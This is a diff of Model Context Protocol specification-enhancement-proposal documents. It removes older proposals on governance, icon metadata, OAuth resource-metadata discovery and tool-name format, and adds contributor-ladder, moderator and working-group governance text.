SEP is consistent with existing official extensions ([ext-apps](https://github.com/modelcontextprotocol/ext-apps) and [ext-auth](https://github.com/modelcontextprotocol/ext-auth)), which already use the patterns specified here for capability negotiation and extension identifiers. +1. Document the decision, options considered, and points of disagreement +2. Present to the escalation authority with a clear ask +3. Escalation authority either: (a) provides binding guidance, (b) requests more information, or (c) escalates further if needed -However, individual extensions may have their own backwards compatibility concerns. Extensions MUST consider and account for backwards compatibility in their design, both across core protocol versions and extension versions. Breaking changes within an extension MUST use a new extension identifier (see *Definition* section). Extensions SHOULD also document their approach to backwards compatibility and stability (e.g. an extension MAY advertise itself as "experimental" indicating that it may break without notice). +### Contribution Pathways -## Security Implications +MCP values diverse contributions. Here are recognized pathways to advancement: -Extensions MUST implement all related security best practices in the area that they extend. +#### Code Contributions -Clients and servers SHOULD treat any new fields or data introduced as part of an extension as untrusted and SHOULD comprehensively validate them. +* SDK development (TypeScript, Python, etc.) +* Testing infrastructure +* Tooling and developer experience -## Reference Implementation +#### Specification Work -To be provided. +* Drafting or refining spec text +* [SEP](https://modelcontextprotocol.io/community/sep-guidelines) authorship or co-authorship +* Protocol design participation +* Compatibility analysis +#### Documentation -# SEP-932: Model Context Protocol Governance -Source: https://modelcontextprotocol.io/community/seps/932-model-context-protocol-governance +* User guides and tutorials +* API documentation +* Architecture documentation +* Maintaining content currency -Model Context Protocol Governance +#### Community Building -
- Final - Process -
+* Onboarding new contributors +* Working group facilitation +* Community support (Discord, GitHub discussions) +* Event organization or representation -| Field | Value | -| ------------- | --------------------------------- | -| **SEP** | 932 | -| **Title** | Model Context Protocol Governance | -| **Status** | Final | -| **Type** | Process | -| **Created** | 2025-07-08 | -| **Author(s)** | David Soria Parra | -| **Sponsor** | None | -| **PR** | [#932](#931) | +#### Quality & Security -*** +* Bug triage and reproduction +* Security review and analysis +* Test coverage improvement +* Release validation -## Abstract +### Working Group and Interest Group Leadership -This SEP establishes the formal governance model for the Model Context Protocol (MCP) project. It defines the organizational structure, decision-making processes, and contribution guidelines necessary for transparent and effective project stewardship. The proposal introduces a hierarchical governance structure with clear roles and responsibilities, along with the Specification Enhancement Proposal (SEP) process for managing protocol changes. +Working Group (WG) Leads and Interest Group (IG) Facilitators are a special form of community leadership that doesn't require Maintainer status. WG/IG leadership focuses on facilitation and coordination rather than merge authority. The full governance rules for WGs and IGs — including participation tiers, decision-making process, meeting requirements, and lifecycle — are defined in [SEP-2149: MCP Group Governance and Charter Template](./2149-working-group-charter-template.md). -## Motivation +**Requirements:** -As the Model Context Protocol grows in adoption and complexity, the need for formal governance becomes critical. The current informal decision-making process lacks: +* Member status minimum +* Demonstrated sustained engagement with the WG/IG's scope +* Good facilitation and communication skills +* Ability to represent multiple perspectives fairly +* Group and its leadership are sponsored by at least two Core Maintainers or one Lead Maintainer -1. **Transparency**: Community members have no clear visibility into how decisions are made -2. **Participation Pathways**: Contributors lack defined ways to influence project direction -3. **Accountability**: No formal structure exists for resolving disputes or contentious issues -4. **Scalability**: Ad-hoc processes cannot scale with growing community and technical complexity +**Relationship to Contributor Ladder:** -Without formal governance, the project risks: +* WG Lead and IG Facilitator experience is valuable for advancement to Maintainer +* WG Leads and IG Facilitators without Maintainer status work with Maintainers for merge decisions +* WG Leads and IG Facilitators have authority over group operations but not spec approval +* WG Leads and Maintainers may sponsor SEPs +* WG Leads may triage SEPs in their scope area, including closing SEPs that do not fit the WG's roadmap (with documented rationale; authors may appeal to Core Maintainers) -* Fragmentation of the ecosystem -* Unclear or inconsistent technical decisions -* Reduced community trust and participation -* Inability to effectively manage contributions at scale +### Community Moderators -## Rationale +Community Moderators are trusted individuals who help keep the MCP community healthy, safe, and welcoming. This is a dedicated community role focused on moderation and Code of Conduct enforcement rather than technical contribution. -The proposed governance model draws inspiration from successful open source projects like Python, PyTorch, and Rust. Key design decisions include: +**Requirements:** -### Hierarchical Structure +* Member status minimum +* Demonstrated good judgment and composure in community interactions +* Understanding of the MCP Code of Conduct and community guidelines +* Ability to handle sensitive situations with discretion and fairness -We chose a hierarchical model (Contributors → Maintainers → Core Maintainers → Lead Maintainers) that is effectively how the project decisions are made today. From there we will continue to evolve governance in the best interest of the project. +**Sponsorship:** -### Individual vs Corporate Membership +* Sponsored by a Core Maintainer or Lead Maintainer -Membership is explicitly tied to individuals rather than companies to: +**Responsibilities:** -* Ensure decisions prioritize protocol integrity over corporate interests -* Prevent capture by any single organization -* Maintain continuity when individuals change employers +* Monitor community channels (Discord, GitHub Discussions, etc.) for adherence to the Code of Conduct +* Handle Code of Conduct incident reports, including initial triage and response +* Escalate serious or complex incidents to Core Maintainers +* Help maintain a welcoming and inclusive environment for all community members +* Coordinate with other moderators to ensure consistent enforcement +* Document moderation actions and maintain confidentiality of incident details +* Recuse from any incident in which they are personally involved; such incidents are handled directly by Core Maintainers -### SEP Process +**Privileges:** -The Specification Enhancement Proposal process ensures: +* Moderation rights on community platforms (Discord, GitHub Discussions) +* Access to moderation tools and private moderation channels +* Authority to issue warnings, mute, or temporarily ban users for Code of Conduct violations +* Listed in community moderator roster -* All protocol changes undergo thorough review -* Community input is systematically collected -* Design decisions are documented for posterity -* Implementation precedes finalization +**Relationship to Contributor Ladder:** -## Specification +* Community Moderator is a parallel track, not a prerequisite for technical advancement +* Moderator experience is valued for advancement to any role, particularly where community judgment is important +* Moderators may simultaneously hold other roles (Member, Maintainer, etc.) -### Governance Structure +**Removal:** Community Moderators may be removed by Core Maintainers for failure to uphold moderation standards or Code of Conduct violations. Moderators may step down voluntarily at any time. -#### Contributors +### Recognition and Visibility -* Any individual who files issues, submits pull requests, or participates in discussions -* No formal membership or approval required +The community recognizes contributors through: -#### Maintainers +* **Contributor lists** such as `MAINTAINERS.md` +* **GitHub teams** for appropriate access +* **Public acknowledgment** in release notes +* **Speaking opportunities** at community events +* **Badges** (if implemented) on community platforms -* Responsible for specific components (SDKs, documentation, etc.) -* Appointed by Core Maintainers -* Have write/admin access to their repositories -* May establish component-specific processes +### Stepping Down and Emeritus Status -#### Core Maintainers +Contributors may step down from roles for any reason. This is normal and healthy. -* Deep understanding of MCP specification required -* Responsible for protocol evolution and project direction -* Meet bi-weekly for decisions -* Can veto maintainer decisions by majority vote -* Current members listed in governance documentation +**Process:** -#### Lead Maintainers +1. Notify relevant leadership (WG Lead, IG Facilitator, Maintainer, or Core Maintainer as appropriate) +2. Help transition any ongoing work +3. Move to emeritus status -* Justin Spahr-Summers and David Soria Parra -* Can veto any decision -* Appoint/remove Core Maintainers -* Admin access to all infrastructure +**Emeritus:** -## Backwards Compatibility +* Recognized for past contributions +* May return to active status with abbreviated re-onboarding +* No ongoing responsibilities or privileges -N/A +**Involuntary Removal:** In cases of code of conduct violations or sustained non-participation, roles may be revoked following appropriate review processes. -## Reference Implementation +## Rationale -See #931 +### Why a Formal Ladder? -1. **Documentation Files**: - * `/docs/community/governance.mdx` - Full governance documentation - * `/docs/community/sep-guidelines.mdx` - SEP process guidelines +Informal advancement creates inconsistency and opacity. A formal ladder: -## Security Implications +* Sets clear expectations for all parties +* Provides a common vocabulary for discussing advancement +* Creates accountability in advancement decisions +* Enables self-nomination, reducing gatekeeping -N/A +### Why Minimum Timelines? +Timelines are floors, not targets. They exist for security and trust-building: -# SEP-973: Expose additional metadata for Implementations, Resources, Tools and Prompts -Source: https://modelcontextprotocol.io/community/seps/973-expose-additional-metadata-for-implementations-res +* Trust is built through demonstrated behavior over time +* Security risks increase with rapid privilege escalation +* Deep project understanding requires sustained engagement +* Behavior patterns only become visible over longer periods -Expose additional metadata for Implementations, Resources, Tools and Prompts +Meeting a minimum timeline does not create an entitlement to advancement; it establishes eligibility for consideration. Exceptions to minimums require explicit Core Maintainer approval with documented rationale. -
- Final - Standards Track -
+### Why Two-Organization Sponsorship? -| Field | Value | -| ------------- | ---------------------------------------------------------------------------- | -| **SEP** | 973 | -| **Title** | Expose additional metadata for Implementations, Resources, Tools and Prompts | -| **Status** | Final | -| **Type** | Standards Track | -| **Created** | 2025-07-15 | -| **Author(s)** | [@jesselumarie](https://github.com/jesselumarie) | -| **Sponsor** | None | -| **PR** | [#973](https://github.com/modelcontextprotocol/specification/pull/973) | +Requiring sponsors from different organizations: -*** +* Prevents organizational capture of the contributor base +* Ensures contributors are recognized beyond their employer +* Maintains diverse perspectives in advancement decisions -## Abstract +### Model Inspiration -This SEP proposes adding two optional fields—`icons` and `websiteUrl`. The `icons` and `websiteUrl` would be added to the `Implementation` schema so that clients can visually identify third-party implementations and link directly to their documentation. The `icons` parameter will also be added to the `Tool`, `Resource` and `Prompt` schemas. While this can be used by both servers and clients for all implementations, we expect it to be used initially for server-provided implementations. +This ladder is modeled on Kubernetes community membership structures and adapted for MCP's needs and stage of development. -## Motivation +## Backward Compatibility -### Current State +This SEP establishes new processes without modifying existing structures. Current contributors retain their existing access and standing. -Current implementations only expose namespaced metadata, forcing clients to display generic labels with no visual cues. +## Security Implications -Image +This SEP directly addresses security through: -### Proposed State +* Graduated privilege escalation with timeline requirements +* Two-factor authentication requirement for Members +* Multi-organization sponsorship to prevent capture +* Security onboarding requirement for Maintainers -The proposed implementation would allow us to add visual affordances and links to documentation, making it easier to visually identify which servers/clients are providing an implementation e.g. a tool in a slash command interface: +## Reference Implementation -Image +Upon acceptance, this SEP will be implemented by: -* **Visual Affordance:** Icons make it immediately clear to users which tool or resource source is in use. -* **Discoverability:** A link to documentation (`websiteUrl`) allows clients to direct users to more information with a single click. +1. Adding the contributor ladder to `docs/community/contributor-ladder.mdx` +2. Creating nomination issue templates in `.github/ISSUE_TEMPLATE/` (see Appendix for checklist templates) +3. Updating `MAINTAINERS.md` format to reflect role distinctions -## Rationale +## Appendix: Checklist Templates -This design builds on prior work in web manifests (MDN) and consolidates community feedback: +### Member Nomination Checklist -* **Consolidation of PRs:** Merges the changes from PR #417 and PR #862 into a single, cohesive enhancement. -* **Flexible Icon Sizes:** Supports multiple icon sizes (e.g., `48x48`, `96x96`, or `any` for vector formats) to accommodate different client UI needs. -* **Optional Fields:** By making both fields optional, existing implementations remain fully compatible. +``` +**Nominee:** [GitHub handle] +**Sponsors:** [GitHub handles] + - **Organizations represented:** [Must be 2+ different orgs among sponsors] -## Specification +**Contributions:** +- [ ] Link to merged PR(s) +- [ ] Link to issues filed/triaged +- [ ] Link to discussions participated in +- [ ] Duration of participation: [X months] -Extend the `Implementation` object as follows: +**Sponsor Attestations:** +Sponsors confirm +- [ ] Sponsors confirm nominee demonstrates community values +- [ ] Sponsors confirm nominee demonstrates sustained engagement +``` -```typescript theme={null} -/** - * A url pointing to an icon URL or a base64-encoded data URI - * - * Clients that support rendering icons MUST support at least the following MIME types: - * - image/png - PNG images (safe, universal compatibility) - * - image/jpeg (and image/jpg) - JPEG images (safe, universal compatibility) - * - * Clients that support rendering icons SHOULD also support: - * - image/svg+xml - SVG images (scalable but requires security precautions) - * - image/webp - WebP images (modern, efficient format) - */ -export interface Icon { - /** - * A standard URI pointing to an icon resource. - * - * Consumers MUST takes steps to ensure URLs serving icons are from the - * same domain as the client/server or a trusted domain. - * - * Consumers MUST take appropriate precautions when consuming SVGs as they can contain - * executable JavaScript - * - * @format uri - */ - src: string; - /** Optional override if the server’s MIME type is missing or generic. */ - mimeType?: string; - /** e.g. "48x48", "any" (for SVG), or "48x48 96x96" */ - sizes?: string; -} +### Maintainer Nomination Checklist -/** - * Describes the MCP implementation - */ -export interface Implementation extends BaseMetadata { - version: string; - /** - * An optional list of icons for this implementation. - * This can be used by clients to display the implementation in a user interface. - * Each icon should have a `kind` property that specifies whether it is a data representation or a URL source, a `src` property that points to the icon file or data representation, and may also include a `mimeType` and `sizes` property. - * The `mimeType` property should be a valid MIME type for the icon file, such as "image/png" or "image/svg+xml". - * The `sizes` property should be a string that specifies one or more sizes at which the icon file can be used, such as "48x48" or "any" for scalable formats like SVG. - * The `sizes` property is optional, and if not provided, the client should assume that the icon can be used at any size. - */ - icons?: Icon[]; - /** - * An optional URL of the website for this implementation. - * - * Consumers MUST takes steps to ensure URLs serving icons are from the - * same domain as the client/server or a trusted domain. - * - * Consumers MUST take appropriate precautions when consuming SVGs as they can contain - * executable JavaScript - * - * @format: uri - */ - websiteUrl?: string; -} ``` +**Nominee:** [GitHub handle] +**Scope:** [Specific area] +**Sponsor:** [GitHub handle, must be Maintainer or Core Maintainer] -Extend the `Tool`, `Resource` and `Prompt` interfaces with the following type: +**Requirements:** +- [ ] Member for 6+ months with sustained, high-quality contributions +- [ ] Links to demonstrated leadership in WG, IG, or significant initiatives +- [ ] Evidence of representing MCP's interests above employer/organization interests +- [ ] Deep understanding of MCP vision, roadmap, and design principles +- [ ] Security and governance onboarding completed (or scheduled) -```typescript theme={null} - /** - * An optional list of icons for a resource. - * This can be used by clients to display the resource's icon in a user interface. - * Each icon should have a `kind` property that specifies whether it is a data representation or a URL source, a `src` property that points to the icon file or data representation, and may also include a `mimeType` and `sizes` property. - * The `mimeType` property should be a valid MIME type for the icon file, such as "image/png" or "image/svg+xml". - * The `sizes` property should be a string that specifies one or more sizes at which the icon file can be used, such as "48x48" or "any" for scalable formats like SVG. - * The `sizes` property is optional, and if not provided, the client should assume that the icon can be used at any size. - */ - icons?: Icon[]; +**Core Maintainer Approval:** +- [ ] Approved by Core Maintainers ``` -## Backwards Compatibility +### Community Moderator Nomination Checklist -Both icons and websiteUrl are optional fields; clients that ignore them will fall back to existing behavior. +``` +**Nominee:** [GitHub handle] +**Sponsor:** [GitHub handle, must be Core Maintainer or Lead Maintainer] -## Security Implications +**Requirements:** +- [ ] Member status +- [ ] Links to demonstrated good judgment and composure in community interactions +- [ ] Confirmed understanding of the MCP Code of Conduct and community guidelines -This shouldn't introduce any new security implications. +**Sponsor Attestation:** +- [ ] Sponsor confirms nominee can handle sensitive situations with discretion and fairness +``` -# SEP-985: Align OAuth 2.0 Protected Resource Metadata with RFC 9728 -Source: https://modelcontextprotocol.io/community/seps/985-align-oauth-20-protected-resource-metadata-with-rf +# SEP-2149: MCP Group Governance and Charter Template +Source: https://modelcontextprotocol.io/seps/2149-working-group-charter-template -Align OAuth 2.0 Protected Resource Metadata with RFC 9728 +MCP Group Governance and Charter Template
- Final - Standards Track + + Final + + + + Process +
-| Field | Value | -| ------------- | ---------------------------------------------------------------------- | -| **SEP** | 985 | -| **Title** | Align OAuth 2.0 Protected Resource Metadata with RFC 9728 | -| **Status** | Final | -| **Type** | Standards Track | -| **Created** | 2025-07-16 | -| **Author(s)** | sunishsheth2009 | -| **Sponsor** | None | -| **PR** | [#985](https://github.com/modelcontextprotocol/specification/pull/985) | +| Field | Value | +| ------------- | ---------------------------------------------------------------------------------------------------------------------------- | +| **SEP** | 2149 | +| **Title** | MCP Group Governance and Charter Template | +| **Status** | Final | +| **Type** | Process | +| **Created** | 2025-01-15 | +| **Author(s)** | David Soria Parra ([@dsp-ant](https://github.com/dsp-ant)), Sarah Novotny ([@sarahnovotny](https://github.com/sarahnovotny)) | +| **Sponsor** | David Soria Parra ([@dsp-ant](https://github.com/dsp-ant)) | +| **PR** | [#2149](https://github.com/modelcontextprotocol/modelcontextprotocol/pull/2149) | *** ## Abstract -This proposal brings the MCP spec's handling of OAuth 2.0 Protected Resource Metadata in line with [RFC 9728](https://datatracker.ietf.org/doc/html/rfc9728#name-obtaining-protected-resourc). +This SEP establishes governance rules and a standardized charter template for MCP's two collaborative group types: **Working Groups (WGs)** and **Interest Groups (IGs)**. Working Groups produce concrete deliverables — SEPs, implementations, and code. Interest Groups facilitate discussion and knowledge-sharing to identify problems and gather requirements. The governance rules define the requirements that all groups must follow, with lighter expectations for IGs where appropriate. The charter template defines the structure each group uses to document its specific mission, scope, leadership, and work. Together they address community feedback about unclear authority delegation and inconsistent processes across groups. -Currently, the MCP spec requires the use of the HTTP WWW-Authenticate header when returning a 401 Unauthorized to indicate the location of the protected resource metadata. However, [RFC 9728, Section 5](https://datatracker.ietf.org/doc/html/rfc9728#section-5) states: +This SEP is a companion to [SEP-2148: MCP Contributor Ladder](./2148-contributor-ladder.md), which defines the org-wide contributor roles (Member, Maintainer, Core Maintainer, Lead Maintainer) referenced throughout this document. Group leadership roles intersect with the contributor ladder: WG Leads and IG Facilitators must hold at least Member status on the ladder, and group participation is a recognized pathway to ladder advancement. -“A protected resource MAY use the WWW-Authenticate HTTP response header field, as discussed in RFC 9110, to return a URL to its protected resource metadata to the client.” +## Motivation -This suggests that the MCP spec could be made more flexible while still maintaining RFC compliance. +Community interviews and feedback identified several challenges with the current group structure: -## Rationale +1. **Unclear Authority**: It's not always clear what decisions a working group can make autonomously versus what requires Core Maintainer approval. This leads to hesitation and bottlenecks. -Many large-scale, dynamic, multi-tenant environments rely on a centralized authentication service separate from the backend resource servers. In such deployments, injecting WWW-Authenticate headers from backend services is non-trivial due to separation of concerns and infrastructure complexity. +2. **Inconsistent Decision-Making**: Different groups operate with different norms. Decisions made in one meeting may be contradicted in another, with no clear process for resolution. -In these scenarios, having the option to discover metadata via a well-known URL provides a practical path forward for easier MCP adoption. Requiring only the header would impose significant communication overhead between components, especially when hundreds or thousands of MCP instances are created and destroyed dynamically. Also if there are specific managed MCP servers, adopting headers across centralized system would add significant overhead. +3. **Participation Confusion**: Community members are uncertain about who should participate in groups, what levels of involvement exist, and how to become more involved. -While this increases complexity for clients—who must now implement logic to probe metadata endpoints—it reduces friction for server deployments and may encourage broader adoption. There are tradeoffs: +4. **Scope Creep**: Without explicit boundaries, groups may gradually expand into areas owned by other groups or outside their mandate. -Pros for Server Developers: Avoid complex header injection; simplifies integration in distributed environments. +5. **Missing Escalation Paths**: When groups get stuck, there's no clear path to resolution, leading to prolonged disagreements or abandoned initiatives. -Cons for Client Developers: Clients must fall back to metadata discovery logic when the header is absent, increasing client complexity. +6. **WG/IG Distinction**: The difference between Working Groups and Interest Groups is not always clear to participants, leading to mismatched expectations about outputs and commitment. -## Proposed State +A standardized charter template and shared governance rules address these issues by establishing consistent processes across all groups while requiring each group to explicitly define its specific scope and boundaries. -Update the MCP spec to: +## Specification -``` -Clients MUST interpret the WWW-Authenticate header, and fallback to probing for metadata if not present. -Servers SHOULD return the WWW-Authenticate header -``` +MCP maintains two types of collaborative groups: -**The reason for deviating a bit on the RFC:** -Go with SHOULD over MAY for WWW-Authenticate is that it makes supporting other features, such as incremental authorization easier (e.g. you make a request for a tool, but need additional scopes, and receive a WWW-Authenticate challenge indicating the scopes). +* **Working Groups (WGs)** produce concrete deliverables — SEPs, reference implementations, and code. Active contribution is expected. +* **Interest Groups (IGs)** facilitate discussion and knowledge-sharing around a topic area. They produce problem statements, use cases, and recommendations. Active contribution is expected. -Based on the above, following the updated flow: +This specification has two parts: -* Attempt the MCP request without a token. -* If a 401 Unauthorized response is received: Check for a WWW-Authenticate header. If present and includes the resource\_metadata parameter, use it to locate the resource metadata. -* If the header is absent or does not include resource\_metadata, fallback to requesting /.well-known/oauth-protected-resource. +1. **Group Governance** — rules that apply to all MCP groups (WGs and IGs), with differences noted where applicable +2. **Charter Template** — the structure each group fills in to define its specific mission, scope, and operations -This change allows more flexible deployment models without removing existing capabilities. +*** -```mermaid theme={null} -sequenceDiagram - participant C as Client - participant M as MCP Server (Resource Server) - participant A as Authorization Server +### Part 1: Group Governance - Note over C: Attempt unauthenticated MCP request - C->>M: MCP request without token - M-->>C: HTTP 401 Unauthorized (may include WWW-Authenticate header) +The following rules apply to all MCP Working Groups and Interest Groups. Individual charters cannot override these requirements. Where rules differ between WGs and IGs, this is noted explicitly. - alt Header includes resource_metadata - Note over C: Extract resource_metadata URL from header - C->>M: GET resource_metadata URI - M-->>C: Resource metadata with authorization server URL - else No resource_metadata in header - Note over C: Fallback to metadata probing - C->>M: GET /.well-known/oauth-protected-resource - alt Metadata found - M-->>C: Resource metadata with authorization server URL - else Metadata not found - Note over C: Abort or use pre-configured values - end - end +#### 1.1 Leadership - Note over C: Validate RS metadata,
build AS metadata URL +Each group has one or more **Leads** (referred to as **Facilitators** for Interest Groups). + +**Requirements for all Leads and Facilitators:** - C->>A: GET /.well-known/oauth-authorization-server - A-->>C: Authorization server metadata +* Hold at least Member status on the [MCP Contributor Ladder](./2148-contributor-ladder.md) +* Demonstrated sustained engagement with the group's scope area +* Ability to facilitate across organizational boundaries +* Commitment to running the group's operations +* Group and its leadership sponsored by at least two Core Maintainers or one Lead Maintainer - Note over C,A: OAuth 2.1 authorization flow happens here +**Additional requirements for WG Leads:** - C->>A: Token request - A-->>C: Access token +* Commitment to 2-3 hours/week for WG activities - C->>M: MCP request with access token - M-->>C: MCP response - Note over C,M: MCP communication continues with valid token -``` +#### 1.2 Leadership Responsibilities -## Backward Compatibility +**All Leads are responsible for:** -This proposal is fully backward-compatible. +* Schedule and facilitate regular meetings +* Set agendas in collaboration with participants and publish them in advance +* Ensure meeting notes are published within 48 hours +* Maintain the group's documentation +* Maintain a members list and respective access list in [https://github.com/modelcontextprotocol/access](https://github.com/modelcontextprotocol/access) +* Proactively recruit and retain broad, representative membership across organizations and perspectives -It retains support for the WWW-Authenticate header (already in the spec) and introduces a fallback mechanism using the .well-known metadata path, which is already defined in MCP as a MUST-support location. +**WG Leads are additionally responsible for:** -Clients that already support metadata probing benefit from improved interoperability. Servers are not required to emit the WWW-Authenticate header if it is infeasible, but doing so is still encouraged to reduce client complexity and enable future extensibility. +* Drive proposals through the [SEP](https://modelcontextprotocol.io/community/sep-guidelines) (Specification Enhancement Proposal) process to resolution +* Triage SEPs in the WG's scope area, including closing SEPs that do not fit the roadmap (with documented rationale; authors may appeal to Core Maintainers) +* Escalate blocked decisions to Core Maintainers with clear context +* Maintain the working group's roadmap +* Solicit feedback from one or more Core Maintainers on the general direction of the group on a continuous basis +* Provide quarterly status updates to the Community and Core Maintainer Group +#### 1.3 Participation Levels -# SEP-986: Specify Format for Tool Names -Source: https://modelcontextprotocol.io/community/seps/986-specify-format-for-tool-names +All groups use the following participation tiers. Note that **WG Member** is a group-specific participation level distinct from the org-wide **Member** role defined in the [Contributor Ladder](./2148-contributor-ladder.md) — an individual may be a WG Member in a specific group without holding org-wide Member status, and vice versa. -Specify Format for Tool Names +| Level | Description | Privileges | +| -------------------- | ------------------------------------------------- | ------------------------------------------------------------------ | +| **Observer** | Anyone interested in following the group's work | Read access, may attend meetings, limited discussion participation | +| **Participant** | Active contributor to group discussions | Can propose agenda items, participate in async votes | +| **WG Member** | Sustained contributor with demonstrated expertise | Counted for quorum (WGs only) | +| **Lead/Facilitator** | Operational leadership of the group | Sets agenda, facilitates, escalates | -
- Final - Standards Track -
+Interest Groups primarily operate with Observers, Participants, and Facilitators. IGs may adopt the WG Member tier if their work warrants formal decision-making, but are not required to. -| Field | Value | -| ------------- | ---------------------------------------------------------------------- | -| **SEP** | 986 | -| **Title** | Specify Format for Tool Names | -| **Status** | Final | -| **Type** | Standards Track | -| **Created** | 2025-07-16 | -| **Author(s)** | kentcdodds | -| **Sponsor** | None | -| **PR** | [#986](https://github.com/modelcontextprotocol/specification/pull/986) | +**Becoming a WG Member (WGs, and IGs that adopt the WG Member tier):** -*** +* Sustained participation over 3 months +* Meaningful contributions (code, spec text, reviews, or documentation) +* Nomination by existing WG Member or Lead +* No objections from Leads, Core Maintainers, or Lead Maintainers within 7 days -## Abstract +**WG Member Responsibilities:** -The Model Context Protocol (MCP) currently lacks a standardized format for tool names, resulting in inconsistencies and confusion for both implementers and users. This SEP proposes a clear, flexible standard for tool names: tool names should be 1–64 characters, case-sensitive, and may include alphanumeric characters, underscores (\_), dashes (-), dots (.), and forward slashes (/). This aims to maximize compatibility, clarity, and interoperability across MCP implementations while accommodating a wide range of naming conventions. +* Continue contributing in good faith +* Maintain name, organization, and Discord name in the respective group's member list -## Motivation +**Active vs. Emeritus:** WG Members who do not participate for 3 consecutive months are moved to emeritus status and may return by demonstrating renewed participation. -Without a prescribed format for tool names, MCP implementations have adopted a variety of naming conventions, including different separators, casing, and character sets. This inconsistency can lead to confusion, errors in tool invocation, and difficulties in documentation and automation. Standardizing the allowed characters and length will: +#### 1.4 Decision-Making Process -* Make tool names predictable and interoperable across clients. -* Allow for hierarchical and namespaced tool names (e.g., using / and .). -* Support both human-readable and machine-generated names. -* Avoid unnecessary restrictions that could block valid use cases. +This section applies primarily to Working Groups, which make binding decisions (consensus on technical designs, spec changes, etc.). Interest Groups typically operate by rough consensus in discussions and do not make binding decisions — their output is recommendations, problem statements, and use cases. IGs that adopt the WG Member tier may use this process for internal decisions. -## Rationale +**WG Consensus** is achieved through the following progression. Each step is attempted before moving to the next: -Community discussion highlighted the need for flexibility in tool naming. While some conventions (like lower-kebab-case) are common, many tools and clients use uppercase, underscores, dots, and slashes for namespacing or clarity. The proposed pattern—allowing a-z, A-Z, 0-9, \_, -, ., and /—is based on patterns used in major clients (e.g., VS Code, Claude) and aligns with common conventions in programming and APIs. Restricting spaces and commas avoids parsing issues and ambiguity. The length limit (1–64) is generous enough for most use cases but prevents abuse. +**Step 1: Lazy Consensus (default)** -## Specification +* Proposals announced with clear deadline (5 days minimum for minor items, 10 days for significant items) +* Silence is consent +* Any WG Member may block with documented objection +* Blocks must propose alternatives or clear criteria for resolution +* If no blocks are raised by the deadline, the proposal is accepted -* Tool names SHOULD be between 1 and 64 characters in length (inclusive). -* Tool names are case-sensitive. -* Allowed characters: uppercase and lowercase ASCII letters (A-Z, a-z), digits - (0-9), underscore (\_), dash (-), dot (.), and forward slash (/). -* Tool names SHOULD NOT contain spaces, commas, or other special characters. -* Tool names SHOULD be unique within their namespace. -* Example valid tool names: - * getUser - * user-profile/update - * DATA\_EXPORT\_v2 - * admin.tools.list +**Step 2: Formal Vote (when lazy consensus is blocked)** -## Backwards Compatibility +A formal vote is triggered when: -This change is not backwards compatible for existing tools that use disallowed characters or exceed the new length limits. To minimize disruption: +* A WG Member blocks during the lazy consensus period +* A Lead or three or more WG Members request a formal vote -* Existing non-conforming tool names SHOULD be supported as aliases for at least one major version, with a deprecation warning. -* Tool authors SHOULD update their documentation and code to use the new format. -* A migration guide SHOULD be provided to assist implementers in updating their tool names. +Voting rules: -## Reference Implementation +* Quorum: 50% of active WG Members +* Passage: Simple majority for routine matters; 2/3 majority for scope changes +* Core Maintainer feedback is advisory unless explicitly stated as binding +* All votes documented with rationale -A reference implementation can be provided by updating the MCP core library to enforce the new tool name validation rules at registration time. Existing tools can be updated to provide aliases for their new conforming names, with warnings for deprecated formats. Example code and migration scripts can be included in the MCP repository. +**Step 3: Escalation (when voting does not resolve)** -## Security Implications +If a vote fails to resolve the matter (no quorum, does not pass, or the result is contested), the Lead escalates to Core Maintainers following the escalation path defined below. -None. Standardizing tool name format does not introduce new security risks. +#### 1.5 Escalation Path +For technical and design disagreements within a group's scope, groups should resolve disagreements locally before involving Core Maintainers. For WGs, this means using the decision-making progression (lazy consensus → vote → escalation). For IGs, the Facilitator should attempt to find rough consensus before escalating. -# SEP-990: Enable enterprise IdP policy controls during MCP OAuth flows -Source: https://modelcontextprotocol.io/community/seps/990-enable-enterprise-idp-policy-controls-during-mcp-o +Some disagreements are not appropriate for group-level resolution and should be escalated directly to Core Maintainers: -Enable enterprise IdP policy controls during MCP OAuth flows +* Scope disputes (whether a topic falls within the group's charter) +* Authority disputes (whether the group has the right to decide a matter) +* Cross-group conflicts (disagreements spanning multiple WGs or IGs) +* Code of conduct or behavioral concerns +* Membership or participation disputes -
- Final - Standards Track -
+When escalation is necessary: -| Field | Value | -| ------------- | ------------------------------------------------------------ | -| **SEP** | 990 | -| **Title** | Enable enterprise IdP policy controls during MCP OAuth flows | -| **Status** | Final | -| **Type** | Standards Track | -| **Created** | 2025-06-04 | -| **Author(s)** | Aaron Parecki ([@aaronpk](https://github.com/aaronpk)) | -| **Sponsor** | None | -| **PR** | [#990](#646) | +1. Lead documents the decision, options considered, and points of disagreement +2. Lead presents the escalation to the Core Maintainer group with a clear ask +3. The Core Maintainer group designates a CM—who should not share organizational affiliation with the parties involved—to resolve the issue and report back to the group +4. The designated CM either: (a) provides binding guidance, (b) requests more information, or (c) recommends the full Core Maintainer group deliberate +5. Timeline: Escalations should receive initial response within 5 business days -*** +#### 1.6 Meeting Requirements -## Abstract +Leads determine meeting frequency, format, and duration based on the group's current needs and lifecycle stage. There is no fixed cadence requirement — a WG near a specification release may meet weekly, while an IG in early exploration may meet monthly or work primarily asynchronously. -This extension is designed to facilitate secure and interoperable authorization of MCP clients within corporate environments, leveraging existing enterprise identity infrastructure. +Regardless of format or frequency, all group meetings must: -* For end users, this removes the need to manually connect and authorize the MCP Client to individual services within the organization. -* For enterprise admins, this enables visibility and control over which MCP Servers are able to be used within the organization. +* Be open to all community participants (no closed or organization-internal meetings) +* Be published on [meet.modelcontextprotocol.io](https://meet.modelcontextprotocol.io) at least 7 days in advance +* Have agendas published and publicly available. The agenda or a link to the agenda should be published as a [GitHub Discussion in the Meeting Notes category](https://github.com/modelcontextprotocol/modelcontextprotocol/discussions/) +* Have notes published within 48 hours to the same discussion -## How Has This Been Tested? +Leads should actively involve WG Members and Participants in operational duties such as preparing agendas, taking meeting notes, and facilitating discussions. -We have an end to end implementation of this [here](https://github.com/oktadev/okta-cross-app-access-mcp), and in-progress MCP implementations with some partners. +#### 1.7 Communication Channels -## Breaking Changes +All groups use the following channels: -This is designed to augment the existing OAuth profile by providing an alternative when used under an enterprise IdP. MCP clients can opt in to this profile when necessary. +| Channel | Purpose | Response Expectation | +| ------------------------------------ | ------------------------------ | -------------------- | +| Discord `#{name}-wg` or `#{name}-ig` | Quick questions, coordination | Best effort | +| GitHub Discussions | Long-form technical discussion | Weekly triage | -## Additional Context +In addition to Discord, groups can establish a discussion category in the [GitHub Discussions](https://github.com/modelcontextprotocol/modelcontextprotocol/discussions/). Leads will be granted the appropriate roles to manage and moderate discussions. -For more background 